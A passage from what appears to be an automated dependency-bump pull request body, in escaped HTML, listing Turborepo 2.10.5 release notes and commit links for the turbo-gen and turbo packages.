href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13304\"\u003evercel/turborepo#13304\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: Rename the Cargo toolchain id to rust by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13311\"\u003evercel/turborepo#13311\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Remove extraneous bun.lock entries during prune by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13317\"\u003evercel/turborepo#13317\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Require a user-declared name for the Cargo workspace package by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13312\"\u003evercel/turborepo#13312\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Parse and validate the task command field by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13313\"\u003evercel/turborepo#13313\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Harden turbo-vsc to invoke turbo without a shell by \u003ca href=\"https://github.com/dnukumamras\"\u003e\u003ccode\u003e@​dnukumamras\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13319\"\u003evercel/turborepo#13319\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Resolve and execute task command overrides by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13315\"\u003evercel/turborepo#13315\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.4 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13325\"\u003evercel/turborepo#13325\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Run the Rust workspace tests through nextest via command override by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13316\"\u003evercel/turborepo#13316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Engage the Remote Cache and sccache compile cache for Rust CI by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13292\"\u003evercel/turborepo#13292\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Pin GitHub Actions to full commit SHAs by \u003ca href=\"https://github.com/XananasX7\"\u003e\u003ccode\u003e@​XananasX7\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13143\"\u003evercel/turborepo#13143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Make npm prune rehoisting deterministic and complete by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13323\"\u003evercel/turborepo#13323\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Report incremental cache reuse in the run summary by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13327\"\u003evercel/turborepo#13327\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Remove planning docs by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13329\"\u003evercel/turborepo#13329\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Migrate docs site to \u003ccode\u003e@​vercel/geistdocs\u003c/code\u003e package by \u003ca href=\"https://github.com/molebox\"\u003e\u003ccode\u003e@​molebox\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13320\"\u003evercel/turborepo#13320\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Update Remote Cache action by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13330\"\u003evercel/turborepo#13330\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.5 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13331\"\u003evercel/turborepo#13331\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Remove path-based workflow scheduling by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13332\"\u003evercel/turborepo#13332\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Resolve EADDRINUSE in kitchen-sink api dev script by \u003ca href=\"https://github.com/ashusnapx\"\u003e\u003ccode\u003e@​ashusnapx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13328\"\u003evercel/turborepo#13328\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Disable telemetry messages in workflows by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13334\"\u003evercel/turborepo#13334\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Prevent Cargo run tasks from being cached by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13335\"\u003evercel/turborepo#13335\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Isolate Cargo cache by host platform by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13337\"\u003evercel/turborepo#13337\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Continue TUI text selection beyond viewport by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13338\"\u003evercel/turborepo#13338\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Dogfood Cargo target restoration by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13336\"\u003evercel/turborepo#13336\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Require current Cargo lockfiles for caching by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13339\"\u003evercel/turborepo#13339\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/78091b6537c715acfb3a9eb950f1a938131ba4d9\"\u003e\u003ccode\u003e78091b6\u003c/code\u003e\u003c/a\u003e publish 2.10.5 to registry\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f82e2c7e4879d031f49e62c5fd1d7a52ec7f9e53\"\u003e\u003ccode\u003ef82e2c7\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.6 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13355\"\u003e#13355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f69971958b56e6a932c3d08a0347f4589c8734df\"\u003e\u003ccode\u003ef699719\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.5 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13331\"\u003e#13331\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/6626261bcbb770b56e32a0a808097442504ca5af\"\u003e\u003ccode\u003e6626261\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.4 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13325\"\u003e#13325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/7e44a290fc7a1ac7f987ba27101f3320df396599\"\u003e\u003ccode\u003e7e44a29\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.3 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13302\"\u003e#13302\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/e6e6fb628b065a81583de05044eb50fb71380087\"\u003e\u003ccode\u003ee6e6fb6\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.2 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13297\"\u003e#13297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/e6cd4986d79c1fe9d8cb0483a804f95f3a3de026\"\u003e\u003ccode\u003ee6cd498\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.1 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13294\"\u003e#13294\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f2fce38386587104688f8805fd8f585fc4e0bd1f\"\u003e\u003ccode\u003ef2fce38\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.4 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13286\"\u003e#13286\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/7e02f94f647cb4d527a438313dc4adbe3e8c0df3\"\u003e\u003ccode\u003e7e02f94\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.4-canary.2 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13278\"\u003e#13278\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/a31389ed39e539d97be58a9ca38d9f35be2e3d04\"\u003e\u003ccode\u003ea31389e\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.4-canary.1 (\u003ca href=\"https://github.com/vercel/turborepo/tree/HEAD/packages/turbo-gen/issues/13247\"\u003e#13247\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vercel/turborepo/commits/v2.10.5/packages/turbo-gen\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `turbo` from 2.10.3 to 2.10.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/turborepo/releases\"\u003eturbo's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eTurborepo v2.10.5\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eChangelog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eperf: Evaluate simple include globs without wax compilation by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13285\"\u003evercel/turborepo#13285\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Dogfood native Cargo support in this repository by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13283\"\u003evercel/turborepo#13283\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.4 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13286\"\u003evercel/turborepo#13286\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Remove dead sccache configuration by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13289\"\u003evercel/turborepo#13289\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Serve the Remote Cache as an sccache backend for Cargo tasks by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13288\"\u003evercel/turborepo#13288\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Reject output path traversal by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13290\"\u003evercel/turborepo#13290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Disable the sccache proxy when remote cache use is off by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13291\"\u003evercel/turborepo#13291\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Embed sccache so the Cargo compile cache needs no installation by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13293\"\u003evercel/turborepo#13293\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.1 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13294\"\u003evercel/turborepo#13294\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Pin a flag-aware turbo canary for the eve-agent deployment by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13295\"\u003evercel/turborepo#13295\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Make the sccache compile cache actually cache by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13296\"\u003evercel/turborepo#13296\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.2 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13297\"\u003evercel/turborepo#13297\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Stop ambient CARGO_INCREMENTAL from suppressing compile cache injection by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13298\"\u003evercel/turborepo#13298\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Never let compile cache storage failures fail the build by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13299\"\u003evercel/turborepo#13299\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: Add outputs path-traversal negative-case regression tests by \u003ca href=\"https://github.com/dnukumamras\"\u003e\u003ccode\u003e@​dnukumamras\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13300\"\u003evercel/turborepo#13300\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.3 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13302\"\u003evercel/turborepo#13302\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Authenticate to Remote Cache via OIDC token exchange by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13303\"\u003evercel/turborepo#13303\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Keep pnpm patches with version range keys during prune by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13307\"\u003evercel/turborepo#13307\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: Scrub ambient turbo configuration from integration test children by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13306\"\u003evercel/turborepo#13306\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Show toolchain tasks in the TUI and never run in silence by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13308\"\u003evercel/turborepo#13308\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Fix change detection on push events by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13304\"\u003evercel/turborepo#13304\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: Rename the Cargo toolchain id to rust by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13311\"\u003evercel/turborepo#13311\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Remove extraneous bun.lock entries during prune by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13317\"\u003evercel/turborepo#13317\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Require a user-declared name for the Cargo workspace package by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13312\"\u003evercel/turborepo#13312\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Parse and validate the task command field by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13313\"\u003evercel/turborepo#13313\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Harden turbo-vsc to invoke turbo without a shell by \u003ca href=\"https://github.com/dnukumamras\"\u003e\u003ccode\u003e@​dnukumamras\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13319\"\u003evercel/turborepo#13319\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Resolve and execute task command overrides by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13315\"\u003evercel/turborepo#13315\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.4 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13325\"\u003evercel/turborepo#13325\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Run the Rust workspace tests through nextest via command override by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13316\"\u003evercel/turborepo#13316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Engage the Remote Cache and sccache compile cache for Rust CI by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13292\"\u003evercel/turborepo#13292\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Pin GitHub Actions to full commit SHAs by \u003ca href=\"https://github.com/XananasX7\"\u003e\u003ccode\u003e@​XananasX7\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13143\"\u003evercel/turborepo#13143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Make npm prune rehoisting deterministic and complete by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13323\"\u003evercel/turborepo#13323\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Report incremental cache reuse in the run summary by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13327\"\u003evercel/turborepo#13327\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Remove planning docs by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13329\"\u003evercel/turborepo#13329\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Migrate docs site to \u003ccode\u003e@​vercel/geistdocs\u003c/code\u003e package by \u003ca href=\"https://github.com/molebox\"\u003e\u003ccode\u003e@​molebox\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13320\"\u003evercel/turborepo#13320\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Update Remote Cache action by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13330\"\u003evercel/turborepo#13330\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.5 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13331\"\u003evercel/turborepo#13331\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Remove path-based workflow scheduling by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13332\"\u003evercel/turborepo#13332\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Resolve EADDRINUSE in kitchen-sink api dev script by \u003ca href=\"https://github.com/ashusnapx\"\u003e\u003ccode\u003e@​ashusnapx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13328\"\u003evercel/turborepo#13328\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Disable telemetry messages in workflows by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13334\"\u003evercel/turborepo#13334\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Prevent Cargo run tasks from being cached by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13335\"\u003evercel/turborepo#13335\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Isolate Cargo cache by host platform by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13337\"\u003evercel/turborepo#13337\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Continue TUI text selection beyond viewport by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13338\"\u003evercel/turborepo#13338\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Dogfood Cargo target restoration by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13336\"\u003evercel/turborepo#13336\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Require current Cargo lockfiles for caching by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13339\"\u003evercel/turborepo#13339\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/78091b6537c715acfb3a9eb950f1a938131ba4d9\"\u003e\u003ccode\u003e78091b6\u003c/code\u003e\u003c/a\u003e publish 2.10.5 to registry\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/82bcfb61f140b8f14181704474eef40e8a47b789\"\u003e\u003ccode\u003e82bcfb6\u003c/code\u003e\u003c/a\u003e refactor: Add \u003ccode\u003eToolchain\u003c/code\u003e output availability (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13360\"\u003e#13360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/6ed2fb4114de8bc0a7cd8053ee69cc20bb502f56\"\u003e\u003ccode\u003e6ed2fb4\u003c/code\u003e\u003c/a\u003e fix: Preserve Yarn package extension ranges when pruning (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13363\"\u003e#13363\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/38aa7d2dd0c931faaa4f732d19f53c883faa0ecd\"\u003e\u003ccode\u003e38aa7d2\u003c/code\u003e\u003c/a\u003e chore: Update agents app Eve dependency (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13364\"\u003e#13364\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca 